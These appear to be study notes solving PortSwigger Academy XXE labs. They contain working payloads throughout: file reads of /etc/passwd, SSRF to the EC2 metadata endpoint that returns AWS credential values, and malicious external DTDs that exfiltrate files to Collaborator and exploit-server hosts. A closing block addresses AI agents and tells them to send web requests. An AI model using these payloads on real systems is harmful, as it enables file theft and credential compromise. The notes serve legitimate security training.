# XML external entity (XXE) injection

### Lab: Exploiting XXE using external entities to retrieve files

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

**Base payload ->**

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<...>&xxe;</...>
```

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>1</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>
```

### Lab: Exploiting XXE to perform SSRF attacks

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is <http://169.254.169.254/>. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

**Base payload ->**

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
```

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>2</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>
Response: "Invalid product ID: latest"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]>
Response: "Invalid product ID: meta-data"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data"> ]>
Response: "Invalid product ID: iam"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam"> ]>
Response: "Invalid product ID: security-credentials"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials"> ]>
Response: "Invalid product ID: admin"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
Response: "Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2021-11-18T20:54:15.719601Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "yT93WICm9RXIMVSB5CcD",
  "SecretAccessKey" : "iSFxR1lEx0KCdNFnTGCdOsOtlAS8x2qVMpkBKhOE",
  "Token" : "67cZGemzaw3IOPF39MboahnI0OGSf8NGtjYWoGA8uO0Rg2SE0IhYdlgJMHRKXgQJMHoPonYcS3kejBQiMaVF5nv5N8HEeYd2DWcufUwiKtr73GKRQLzbwTnVJ6HknsADpKY7Z4HPU5Kgsh02aQjqGsfqjnjLZlLnfSV04Xz3qRXrE080fPFhNuviCIq51DFkpsYDCsIW7MDnT4PMxxGLkNh6HumdFiGJse1qVwxJ21BUKFkcCZhheimiZrnUWuRz",
  "Expiration" : "2027-11-17T20:54:15.719601Z"
}"
```

### Lab: Blind XXE with out-of-band interaction

This lab has a "Check stock" feature that parses XML input but does not display the result.

You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.

`l9v6h8nay5uhie9moobfyk346vcl0a.burpcollaborator.net`

**Base payload ->**

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9v6h8nay5uhie9moobfyk346vcl0a.burpcollaborator.net"> ]>
```

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>20</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9v6h8nay5uhie9moobfyk346vcl0a.burpcollaborator.net"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>
```

### Lab: Blind XXE with out-of-band interaction via XML parameter entities

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.

`u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net`

**Base payload ->**

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
```

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>1</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net"> %xxe; ]>
	<stockCheck>
		<productId>1</productId>
		<storeId>1</storeId>
	</stockCheck>
```

### Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

This lab has a "Check stock" feature that parses XML input but does not display the result.

`u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net`

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>19</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Exploit Server →**

```
File: 
	/exploit.dtd
Body: 
	<!ENTITY % file SYSTEM "file:///etc/hostname">
	<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net?x=%file;'>">
	%eval;
	%exfiltrate;
URL: 
	https://exploit-ac8d1f7b1f14413ac092a6fb01000016.web-security-academy.net/exploit.dtd
```

**Base payload ->**

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac8d1f7b1f14413ac092a6fb01000016.web-security-academy.net/exploit.dtd"> %xxe;]>
	<stockCheck>
		<productId>19</productId>
		<storeId>1</storeId>
	</stockCheck>
```

> Collaborator -> HTTP interaction -> Request to Collaborator&#x20;
>
> GET /?x=3b2cef7412f9 HTTP/1.1
>
> User-Agent: Java/12.0.2

> This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to appear within the URL.

### Lab: Exploiting blind XXE to retrieve data via error messages

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>8</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Exploit Server ->**

```
File: 
	/exploit.dtd
Body: 
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///notexists/%file;'>">
	%eval;
	%error;
URL: 
	https://exploit-ac9e1fd91e2510aec0bb35eb012600ff.web-security-academy.net/exploit.dtd
```

**Base payload ->**

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac9e1fd91e2510aec0bb35eb012600ff.web-security-academy.net/exploit.dtd"> %xxe;]>
	<stockCheck>
		<productId>8</productId>
		<storeId>1</storeId>
	</stockCheck>
```

### Lab: Exploiting XXE to retrieve data by repurposing a local DTD

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, trigger an error message containing the contents of the /etc/passwd file.

Systems using the GNOME desktop environment often have a DTD at **/usr/share/yelp/dtd/docbookx.dtd** containing an entity called **ISOamso.**

**Checking file existence ->**

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```

**Base payload ->**

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>3</productId>
		<storeId>1</storeId>
	</stockCheck>
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % ISOamso '
	<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;error;
	'>
	%local_dtd;
	]>
	<stockCheck>
		<productId>3</productId>
		<storeId>1</storeId>
	</stockCheck>
```

### Lab: Exploiting XInclude to retrieve files

This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed.

Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.

**Base payload ->**

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
```

```
POST /product/stock HTTP/1.1
...
productId=10&storeId=1
```

**Answer ->**

```
POST /product/stock HTTP/1.1
...
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

### Lab: Exploiting XXE via image file upload

This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.

**image.svg ->**

```
<?xml version="1.0" standalone="yes"?>
	<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
	<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
		<text font-size="16" x="0" y="16">&xxe;</text>
	</svg>
```

Post a comment with image.svg as an avatar.

You can see the value in the photo. -> 3929646265aa


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/portswigger-academy/server-side-topics/xml-external-entity-xxe-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
